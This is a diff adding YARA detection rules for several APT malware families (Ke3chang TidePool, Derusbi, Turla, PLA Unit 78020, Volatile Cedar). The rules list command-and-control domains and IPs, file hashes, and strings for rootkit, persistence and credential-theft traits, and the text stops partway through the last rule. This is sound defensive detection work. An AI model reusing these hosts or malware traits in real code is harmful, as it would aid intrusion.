+		date = "2015-08-06"
+		score = 60
+	strings:
+		$s1 = "api.apigmail.com"
+		$s2 = "apigmail.com"
+		$s3 = "backup.darkhero.org"
+		$s4 = "bel.updatawindows.com"
+		$s5 = "binary.update-onlines.org"
+		$s6 = "blackcmd.com"
+		$s7 = "castle.blackcmd.com"
+		$s8 = "ctcb.blackcmd.com"
+		$s9 = "darkhero.org"
+		$s10 = "dav.local-test.com"
+		$s11 = "test.local-test.com"
+		$s12 = "dev.local-test.com"
+		$s13 = "ocean.local-test.com"
+		$s14 = "ga.blackcmd.com"
+		$s15 = "helpdesk.blackcmd.com"
+		$s16 = "helpdesk.csc-na.com"
+		$s17 = "helpdesk.hotmail-onlines.com"
+		$s18 = "helpdesk.lnip.org"
+		$s19 = "hotmail-onlines.com"
+		$s20 = "jobs.hotmail-onlines.com"
+		$s21 = "justufogame.com"
+		$s22 = "lnip.org"
+		$s23 = "local-test.com"
+		$s24 = "login.hansoftupdate.com"
+		$s25 = "long.update-onlines.org"
+		$s26 = "longlong.update-onlines.org"
+		$s27 = "longshadow.dyndns.org"
+		$s28 = "longshadow.update-onlines.org"
+		$s29 = "longykcai.update-onlines.org"
+		$s30 = "lostself.update-onlines.org"
+		$s31 = "mac.navydocument.com"
+		$s32 = "mail.csc-na.com"
+		$s33 = "mantech.updatawindows.com"
+		$s34 = "micr0soft.org"
+		$s35 = "microsoft-outlook.org"
+		$s36 = "mtc.navydocument.com"
+		$s37 = "navydocument.com"
+		$s38 = "mtc.update-onlines.org"
+		$s39 = "news.hotmail-onlines.com"
+		$s40 = "oac.3322.org"
+		$s41 = "ocean.apigmail.com"
+		$s42 = "pchomeserver.com"
+		$s43 = "registre.organiccrap.com"
+		$s44 = "security.pomsys.org"
+		$s45 = "services.darkhero.org"
+		$s46 = "sgl.updatawindows.com"
+		$s47 = "shadow.update-onlines.org"
+		$s48 = "sonoco.blackcmd.com"
+		$s49 = "test.logmastre.com"
+		$s50 = "up.gtalklite.com"
+		$s51 = "updatawindows.com"
+		$s52 = "update-onlines.org"
+		$s53 = "update.deepsoftupdate.com"
+		$s54 = "update.hancominc.com"
+		$s55 = "update.micr0soft.org"
+		$s56 = "update.pchomeserver.com"
+		$s57 = "urs.blackcmd.com"
+		$s58 = "wang.darkhero.org"
+		$s59 = "webs.local-test.com"
+		$s60 = "word.apigmail.com"
+		$s61 = "wordpress.blackcmd.com"
+		$s62 = "working.blackcmd.com"
+		$s63 = "working.darkhero.org"
+		$s64 = "working.hotmail-onlines.com"
+		$s65 = "www.trendmicro-update.org"
+		$s66 = "www.update-onlines.org"
+		$s67 = "x.apigmail.com"
+		$s68 = "ykcai.update-onlines.org"
+		$s69 = "ykcailostself.dyndns-free.com"
+		$s70 = "ykcainobody.dyndns.org"
+		$s71 = "zj.blackcmd.com"
+		$s72 = "laxness-lab.com"
+		$s73 = "google-ana1ytics.com"
+		$s74 = "www.google-ana1ytics.com"
+		$s75 = "ftp.google-ana1ytics.com"
+		$s76 = "hotmailcontact.net"
+		$s77 = "208.115.242.36"
+		$s78 = "208.115.242.37"
+		$s79 = "208.115.242.38"
+		$s80 = "66.63.178.142"
+		$s81 = "72.11.148.220"
+		$s82 = "72.11.141.133"
+		$s83 = "74.63.195.236"
+		$s84 = "74.63.195.236"
+		$s85 = "74.63.195.237"
+		$s86 = "74.63.195.238"
+		$s87 = "103.24.0.142"
+		$s88 = "103.24.1.54"
+		$s89 = "106.187.45.162"
+		$s90 = "192.151.236.138"
+		$s91 = "192.161.61.19"
+		$s92 = "192.161.61.20"
+		$s93 = "192.161.61.22"
+		$s94 = "103.24.1.54"
+		$s95 = "67.215.232.179"
+		$s96 = "96.44.177.195"
+		$s97 = "49.143.192.221"
+		$s98 = "67.215.232.181"
+		$s99 = "67.215.232.182"
+		$s100 = "96.44.182.243"
+		$s101 = "96.44.182.245"
+		$s102 = "96.44.182.246"
+		$s103 = "49.143.205.30"
+		$s104 = "working_success@163.com"
+		$s105 = "ykcaihyl@163.com"
+		$s106 = "working_success@163.com"
+		$s107 = "yuming@yinsibaohu.aliyun.com"
+	condition:
+		uint16(0) == 0x5a4d and 1 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-24
+	Identifier: TidePool (Ke3chang)
+*/
+
+rule TidePool_Malware {
+	meta:
+		description = "Detects TidePool malware mentioned in Ke3chang report by Palo Alto Networks"
+		author = "Florian Roth"
+		reference = "http://goo.gl/m2CXWR"
+		date = "2016-05-24"
+		hash1 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
+		hash2 = "67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed"
+		hash3 = "2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18"
+		hash4 = "38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f"
+		hash5 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
+	strings:
+		$x1 = "Content-Disposition: form-data; name=\"m1.jpg\"" fullword ascii
+		$x2 = "C:\\PROGRA~2\\IEHelper\\mshtml.dll" fullword wide
+		$x3 = "C:\\DOCUME~1\\ALLUSE~1\\IEHelper\\mshtml.dll" fullword wide
+		$x4 = "IEComDll.dat" fullword ascii
+
+		$s1 = "Content-Type: multipart/form-data; boundary=----=_Part_%x" fullword wide
+		$s2 = "C:\\Windows\\System32\\rundll32.exe" fullword wide
+		$s3 = "network.proxy.socks_port\", " fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) ) ) or ( 4 of them )
+}
+rule apt_nix_elf_derusbi {
+   meta:
+      description = "Detects Derusbi Backdoor ELF"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $s1 = "LxMain"
+      $s2 = "execve"
+      $s3 = "kill"
+      $s4 = "cp -a %s %s"
+      $s5 = "%s &"
+      $s6 = "dbus-daemon"
+      $s7 = "--noprofile"
+      $s8 = "--norc"
+      $s9 = "TERM=vt100"
+      $s10 = "/proc/%u/cmdline"
+      $s11 = "loadso"
+      $s12 = "/proc/self/exe"
+      $s13 = "Proxy-Connection: Keep-Alive"
+      $s14 = "Connection: Keep-Alive"
+      $s15 = "CONNECT %s"
+      $s16 = "HOST: %s:%d"
+      $s17 = "User-Agent: Mozilla/4.0"
+      $s18 = "Proxy-Authorization: Basic %s"
+      $s19 = "Server: Apache"
+      $s20 = "Proxy-Authenticate"
+      $s21 = "gettimeofday"
+      $s22 = "pthread_create"
+      $s23 = "pthread_join"
+      $s24 = "pthread_mutex_init"
+      $s25 = "pthread_mutex_destroy"
+      $s26 = "pthread_mutex_lock"
+      $s27 = "getsockopt"
+      $s28 = "socket"
+      $s29 = "setsockopt"
+      $s30 = "select"
+      $s31 = "bind"
+      $s32 = "shutdown"
+      $s33 = "listen"
+      $s34 = "opendir"
+      $s35 = "readdir"
+      $s36 = "closedir"
+      $s37 = "rename"
+   condition:
+      uint32(0) == 0x4464c457f and all of them
+}
+
+rule apt_nix_elf_derusbi_kernelModule
+{
+   meta:
+      description = "Detects Derusbi Backdoor ELF Kernel Module"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $s1 = "__this_module"
+      $s2 = "init_module"
+      $s3 = "unhide_pid"
+      $s4 = "is_hidden_pid"
+      $s5 = "clear_hidden_pid"
+      $s6 = "hide_pid"
+      $s7 = "license"
+      $s8 = "description"
+      $s9 = "srcversion="
+      $s10 = "depends="
+      $s12 = "vermagic="
+      $s13 = "current_task"
+      $s14 = "sock_release"
+      $s15 = "module_layout"
+      $s16 = "init_uts_ns"
+      $s17 = "init_net"
+      $s18 = "init_task"
+      $s19 = "filp_open"
+      $s20 = "__netlink_kernel_create"
+      $s21 = "kfree_skb"
+   condition:
+      uint32(0) == 0x4464c457f and all of them
+}
+
+rule apt_nix_elf_Derusbi_Linux_SharedMemCreation {
+   meta:
+      description = "Detects Derusbi Backdoor ELF Shared Memory Creation"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 }
+   condition:
+      uint32(0) == 0x464C457F and any of them
+}
+
+rule apt_nix_elf_Derusbi_Linux_Strings {
+   meta:
+      description = "Detects Derusbi Backdoor ELF Strings"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $a1 = "loadso" wide ascii fullword
+      $a2 = "\nuname -a\n\n" wide ascii
+      $a3 = "/dev/shm/.x11.id" wide ascii
+      $a4 = "LxMain64" wide ascii nocase
+      $a5 = "# \\u@\\h:\\w \\$ " wide ascii
+      $b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide
+      $b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide
+      $b3 = "ret %d" wide fullword
+      $b4 = "uname -a\n\n" wide ascii
+      $b5 = "/proc/%u/cmdline" wide ascii
+      $b6 = "/proc/self/exe" wide ascii
+      $b7 = "cp -a %s %s" wide ascii
+      $c1 = "/dev/pts/4" wide ascii fullword
+      $c2 = "/tmp/1408.log" wide ascii fullword
+   condition:
+      uint32(0) == 0x464C457F and
+      (
+         (1 of ($a*) and 4 of ($b*) ) or
+         (1 of ($a*) and 1 of ($c*)) or
+         2 of ($a*) or
+         all of ($b*)
+      )
+}
+
+rule apt_win_exe_trojan_derusbi {
+   meta:
+      description = "Detects Derusbi Backdoor Win32"
+      author = "Fidelis Cybersecurity"
+      date = "2016/02/29"
+      reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+   strings:
+      $sa_1 = "USB" wide ascii
+      $sa_2 = "RAM" wide ascii
+      $sa_3 = "SHARE" wide ascii
+      $sa_4 = "HOST: %s:%d"
+      $sa_5 = "POST"
+      $sa_6 = "User-Agent: Mozilla"
+      $sa_7 = "Proxy-Connection: Keep-Alive"
+      $sa_8 = "Connection: Keep-Alive"
+      $sa_9 = "Server: Apache"
+      $sa_10 = "HTTP/1.1"
+      $sa_11 = "ImagePath"
+      $sa_12 = "ZwUnloadDriver"
+      $sa_13 = "ZwLoadDriver"
+      $sa_14 = "ServiceMain"
+      $sa_15 = "regsvr32.exe"
+      $sa_16 = "/s /u" wide ascii
+      $sa_17 = "rand"
+      $sa_18 = "_time64"
+      $sa_19 = "DllRegisterServer"
+      $sa_20 = "DllUnregisterServer"
+      $sa_21 = { 8b [5] 8b ?? d3 ?? 83 ?? 08 30 [5] 40 3b [5] 72 } // Decode Driver
+
+      $sb_1 = "PCC_CMD_PACKET"
+      $sb_2 = "PCC_CMD"
+      $sb_3 = "PCC_BASEMOD"
+      $sb_4 = "PCC_PROXY"
+      $sb_5 = "PCC_SYS"
+      $sb_6 = "PCC_PROCESS"
+      $sb_7 = "PCC_FILE"
+      $sb_8 = "PCC_SOCK"
+
+      $sc_1 = "bcdedit -set testsigning" wide ascii
+      $sc_2 = "update.microsoft.com" wide ascii
+      $sc_3 = "_crt_debugger_hook" wide ascii
+      $sc_4 = "ue8G5" wide ascii
+
+      $sd_1 = "NET" wide ascii
+      $sd_2 = "\\\\.\\pipe\\%s" wide ascii
+      $sd_3 = ".dat" wide ascii
+      $sd_4 = "CONNECT %s:%d" wide ascii
+      $sd_5 = "\\Device\\" wide ascii
+
+      $se_1 = "-%s-%04d" wide ascii
+      $se_2 = "-%04d" wide ascii
+      $se_3 = "FAL" wide ascii
+      $se_4 = "OK" wide ascii
+      $se_5 = "2.03" wide ascii
+      $se_6 = "XXXXXXXXXXXXXXX" wide ascii
+
+   condition:
+      uint16(0) == 0x5A4D and (
+         all of ($sa_*) or
+         (
+            (13 of ($sa_*)) and (
+               (5 of ($sb_*)) or
+               (3 of ($sc_*)) or
+               (all of ($sd_*)) or
+               ( 1 of ($sc_*) and all of ($se_*) )
+            )
+         )
+      )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-09
+	Identifier: Turla Samples from RUAG Cyber Attack
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Turla_APT_srsvc {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		author = "Florian Roth"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "65996f266166dbb479a42a15a236e6564f0b322d5d68ee546244d7740a21b8f7"
+		hash2 = "25c7ff1eb16984a741948f2ec675ab122869b6edea3691b01d69842a53aa3bac"
+	strings:
+		$x1 = "SVCHostServiceDll.dll" fullword ascii
+
+		$s2 = "msimghlp.dll" fullword wide
+		$s3 = "srservice" fullword wide
+		$s4 = "ModStart" fullword ascii
+		$s5 = "ModStop" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 20KB and ( 1 of ($x*) or all of ($s*) ) )
+		or ( all of them )
+}
+
+rule Turla_APT_Malware_Gen1 {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		author = "Florian Roth"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
+		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
+		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+		hash5 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
+		hash6 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+		hash7 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
+		hash8 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
+		hash9 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
+		hash10 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
+	strings:
+		$x1 = "too long data for this type of transport" fullword ascii
+		$x2 = "not enough server resources to complete operation" fullword ascii
+		$x3 = "Task not execute. Arg file failed." fullword ascii
+		$x4 = "Global\\MSCTF.Shared.MUTEX.ZRX" fullword ascii
+
+		$s1 = "peer has closed the connection" fullword ascii
+		$s2 = "tcpdump.exe" fullword ascii
+		$s3 = "windump.exe" fullword ascii
+		$s4 = "dsniff.exe" fullword ascii
+		$s5 = "wireshark.exe" fullword ascii
+		$s6 = "ethereal.exe" fullword ascii
+		$s7 = "snoop.exe" fullword ascii
+		$s8 = "ettercap.exe" fullword ascii
+		$s9 = "miniport.dat" fullword ascii
+		$s10 = "net_password=%s" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 2 of ($x*) or 8 of ($s*) ) )
+		or ( 12 of them )
+}
+
+rule Turla_APT_Malware_Gen2 {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		author = "Florian Roth"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
+		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
+		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+	strings:
+		$x1 = "Internal command not support =((" fullword ascii
+		$x2 = "L|-1|AS_CUR_USER:OpenProcessToken():%d, %s|" fullword ascii
+		$x3 = "L|-1|CreateProcessAsUser():%d, %s|" fullword ascii
+		$x4 = "AS_CUR_USER:OpenProcessToken():%d" fullword ascii
+		$x5 = "L|-1|AS_CUR_USER:LogonUser():%d, %s|" fullword ascii
+		$x6 = "L|-1|try to run dll %s with user priv|" fullword ascii
+		$x7 = "\\\\.\\Global\\PIPE\\sdlrpc" fullword ascii
+		$x8 = "\\\\%s\\pipe\\comnode" fullword ascii
+		$x9 = "Plugin dll stop failed." fullword ascii
+		$x10 = "AS_USER:LogonUser():%d" fullword ascii
+
+		$s1 = "MSIMGHLP.DLL" fullword wide
+		$s2 = "msimghlp.dll" fullword ascii
+		$s3 = "ximarsh.dll" fullword ascii
+		$s4 = "msximl.dll" fullword ascii
+		$s5 = "INTERNAL.dll" fullword ascii
+		$s6 = "\\\\.\\Global\\PIPE\\" fullword ascii
+		$s7 = "ieuser.exe" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) or 5 of ($s*) ) )
+		or ( 10 of them )
+}
+
+rule Turla_APT_Malware_Gen3 {
+	meta:
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		author = "Florian Roth"
+		family = "Turla"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		date = "2016-06-09"
+		hash1 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+		hash2 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
+		hash3 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+		hash4 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
+		hash5 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
+		hash6 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
+		hash7 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
+		hash8 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash9 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+	strings:
+		$x1 = "\\\\.\\pipe\\sdlrpc" fullword ascii
+		$x2 = "WaitMutex Abandoned %p" fullword ascii
+		$x3 = "OPER|Wrong config: no port|" fullword ascii
+		$x4 = "OPER|Wrong config: no lastconnect|" fullword ascii
+		$x5 = "OPER|Wrong config: empty address|" fullword ascii
+		$x6 = "Trans task %d obj %s ACTIVE fail robj %s" fullword ascii
+		$x7 = "OPER|Wrong config: no auth|" fullword ascii
+		$x8 = "OPER|Sniffer '%s' running... ooopppsss...|" fullword ascii
+
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Post Platform" fullword ascii
+		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Pre Platform" fullword ascii
+		$s3 = "www.yahoo.com" fullword ascii
+		$s4 = "MSXIML.DLL" fullword wide
+		$s5 = "www.bing.com" fullword ascii
+		$s6 = "%s: http://%s%s" fullword ascii
+		$s7 = "/javascript/view.php" fullword ascii
+		$s8 = "Task %d failed %s,%d" fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE %d.0; " fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) or 6 of ($s*) ) )
+		or ( 10 of them )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-24
+	Identifier: Unit 78020 Malware
+*/
+
+rule Unit78020_Malware_Gen1 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule"
+		author = "Florian Roth"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		hash1 = "2b15e614fb54bca7031f64ab6caa1f77b4c07dac186826a6cd2e254090675d72"
+		hash2 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
+		hash3 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
+		hash4 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
+		hash5 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
+		hash6 = "88c5be84afe20c91e4024160303bafb044f98aa5fbf8c9f9997758a014238790"
+	strings:
+		$x1 = "greensky27.vicp.net" fullword wide
+		$x2 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
+		$x3 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
+		/* additional strings based on PDF report - not found in samples */
+		$x4 = "serch.vicp.net" fullword wide
+		$x5 = "greensky27.vicp.net" fullword wide
+		$x6 = "greensky27.vicp.net.as" fullword wide
+		$x7 = "greensky27.vcip.net" fullword wide
+		$x8 = "pnoc-ec.vicp.net" fullword wide
+		$x9 = "aseanph.vicp.net" fullword wide
+		$x10 = "pnoc.vicp.net" fullword wide
+
+		$a1 = "dMozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide /* typo */
+		$a2 = "User-Agent: Netscape" fullword ascii /* ;) */
+		$a3 = "Accept-Language:En-us/r/n" fullword wide /* typo */
+		$a4 = "\\Office Start.lnk" fullword wide
+		$a5 = "\\MSN Talk Start.lnk" fullword wide
+
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide
+		$s2 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7" fullword ascii
+		$s3 = "%USERPROFILE%\\Application Data\\Mozilla\\Firefox\\Profiles" fullword wide
+		$s4 = "Content-Type:application/x-www-form-urlencoded/r/n" fullword wide
+		$s5 = "Hello World!" fullword wide
+		$s6 = "Accept-Encoding:gzip,deflate/r/n" fullword wide
+		$s7 = "/%d%s%d" fullword ascii
+		$s8 = "%02d-%02d-%02d %02d:%02d" fullword wide
+		$s9 = "WininetMM Version 1.0" fullword wide
+		$s10 = "WININETMM" fullword wide
+		$s11 = "GET %dHTTP/1.1" fullword ascii
+		$s12 = "POST http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$s13 = "PeekNamePipe" fullword ascii
+		$s14 = "Normal.dot" fullword ascii
+		$s15 = "R_eOR_eOR_eO)CiOS_eO" fullword ascii
+		$s16 = "DRIVE_RAMDISK" fullword wide
+		$s17 = "%s %s %s %s %d %d %d %d " fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 250KB and 1 of ($x*) ) or
+		2 of ($a*) or 
+		6 of ($s*) 
+
+}
+
+rule Unit78020_Malware_1 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Specific Rule - msictl.exe"
+		author = "Florian Roth"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		hash = "a93d01f1cc2d18ced2f3b2b78319aadc112f611ab8911ae9e55e13557c1c791a"
+	strings:
+		$s1 = "%ProgramFiles%\\Internet Explorer\\iexplore.exe" fullword ascii
+		$s2 = "msictl.exe" fullword ascii
+		$s3 = "127.0.0.1:8080" fullword ascii
+		$s4 = "mshtml.dat" fullword ascii
+		$s5 = "msisvc" fullword ascii
+		$s6 = "NOKIAN95/WEB" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 160KB and 4 of them
+}
+
+rule Unit78020_Malware_Gen2 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule"
+		author = "Florian Roth"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		super_rule = 1
+		hash1 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
+		hash2 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
+		hash3 = "981e2fa1ae4145359036b46e8b53cc5da37dd2311204859761bd91572f025e8a"
+	strings:
+		$s0 = "-GetModuleFileNameExW" fullword ascii
+		$s1 = "\\MSN Talk Start.lnk" fullword wide
+		$s2 = ":SeDebugPrivilege" fullword wide
+		$s3 = "WinMM Version 1.0" fullword wide
+		$s4 = "dwError1 = %d" fullword ascii
+		$s5 = "*Can't Get" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule Unit78020_Malware_Gen3 {
+	meta:
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule - Chong"
+		author = "Florian Roth"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		date = "2015-09-24"
+		super_rule = 1
+		hash1 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
+		hash2 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
+	strings:
+		$x1 = "GET http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$x2 = "POST http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$x3 = "J:\\chong\\" ascii
+
+		$s1 = "User-Agent: Netscape" fullword ascii
+		$s2 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7" fullword ascii
+		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\User Shell Folders" fullword wide
+		$s4 = "J:\\chong\\nod\\Release\\SslMM.exe" fullword ascii
+		$s5 = "MM.exe" fullword ascii
+		$s6 = "network.proxy.ssl" fullword wide
+		$s7 = "PeekNamePipe" fullword ascii
+		$s8 = "Host: %ws:%d" fullword ascii
+		$s9 = "GET %dHTTP/1.1" fullword ascii
+		$s10 = "SCHANNEL.DLL" fullword ascii /* Goodware String - occured 6 times */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 300KB and 1 of ($x*) ) or 
+		4 of ($s*)
+}
+rule Explosive_EXE : APT { 
+	meta:
+		description = "Explosion/Explosive Malware - Volatile Cedar APT"
+		author = "Check Point Software Technologies Inc." 
+	strings:
+		$DLD_S = "DLD-S:" 
+		$DLD_E = "DLD-E:"
+	condition:
+		all of them and
+        uint16(0) == 0x5A4D
+}
+
+rule Explosion_Sample_1 {
+	meta:
+		description = "Explosion/Explosive Malware - Volatile Cedar APT - file b74bd5660baf67038353136978ed16dbc7d105c60c121cf64c61d8f3d31de32c"
+		author = "Florian Roth"
+		reference = "http://goo.gl/5vYaNb"
+		date = "2015/04/03"
+		score = 70
+		hash = "c97693ecb36247bdb44ab3f12dfeae8be4d299bb"
+	strings:
+		$s5 = "REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
+		$s9 = "WinAutologon From Winlogon Reg" fullword ascii
+		$s10 = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0" fullword ascii
+		$s11 = "IE:Password-Protected sites" fullword ascii
+		$s12 = "\\his.sys" fullword ascii
+		$s13 = "HTTP Password" fullword ascii
+		$s14 = "\\data.sys" fullword ascii
+		$s15 = "EL$_RasDefaultCredentials#0" fullword wide
+		$s17 = "Office Outlook HTTP" fullword ascii
+		$s20 = "Hist :<b> %ws</b>  :%s </br></br>" fullword ascii
+	condition:
+		all of them and  
+        uint16(0) == 0x5A4D
+}
+
+rule Explosion_Sample_2 {
+	meta:
+		description = "Explosion/Explosive Malware - Volatile Cedar APT - file bfc63b30624332f4fc2e510f95b69d18dd0241eb0d2fcd33ed2e81b7275ab488"
+		author = "Florian Roth"
+		reference = "http://goo.gl/5vYaNb"
+		date = "2015/04/03"
+		score = 70
+		hash = "62fe6e9e395f70dd632c70d5d154a16ff38dcd29"
+	strings:
+		$s0 = "serverhelp.dll" fullword wide
+		$s1 = "Windows Help DLL" fullword wide
+		$s5 = "SetWinHoK" fullword ascii
+	condition:
+		all of them and  
+        uint16(0) == 0x5A4D
+}
+
+rule Explosion_Generic_1 {
+	meta:
+		description = "Generic Rule for Explosion/Explosive Malware - Volatile Cedar APT"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/04/03"
+		score = 70
+		super_rule = 1
+		hash0 = "d0f059ba21f06021579835a55220d1e822d1233f95879ea6f7cb9d301408c821"
+		hash1 = "1952fa94b582e9af9dca596b5e51c585a78b8b1610639e3b878bbfa365e8e908"
+		hash2 = "d8fdcdaad652c19f4f4676cd2f89ae834dbc19e2759a206044b18601875f2726"
+		hash3 = "e2e6ed82703de21eb4c5885730ba3db42f3ddda8b94beb2ee0c3af61bc435747"
+		hash4 = "03641e5632673615f23b2a8325d7355c4499a40f47b6ae094606a73c56e24ad0"
+	strings:
+		$s0 = "autorun.exe" fullword
+		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CL"
+		$s2 = "%drp.exe" fullword
+		$s3 = "%s_%s%d.exe" fullword
+		$s4 = "open=autorun.exe" fullword
+		$s5 = "http://www.microsoft.com/en-us/default.aspx" fullword
